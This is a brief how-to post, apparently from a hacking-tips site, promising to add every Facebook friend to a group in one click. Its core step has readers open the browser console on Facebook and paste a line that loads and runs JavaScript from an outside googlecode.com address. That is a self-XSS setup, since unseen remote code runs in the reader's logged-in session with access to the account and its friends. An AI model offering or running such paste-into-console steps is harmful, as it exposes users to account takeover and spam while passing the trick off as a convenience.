Add all Friends in Facebook Groups by Single Click

FRIENDS HERE IS A TRICK TO ADD ALL THE FRIENDS IN A SINGLE CLICK IN A GROUP

 

• If you want to add your all friends in group by just single click then follow all steps carefully. 
• Firstly open Mozilla Firefox 
• Now Open your Facebook group in which you want to add your friends 
• Then Click Ctrl + Shift + K 
• Now Paste...

document.body.appendChild(document.createElement('script')).src='http://group-invites.googlecode.com/files/group-invite.js';

Then press Enter.

After then to hide box press again Ctrl + Shift + K

source--- Indiahax.tk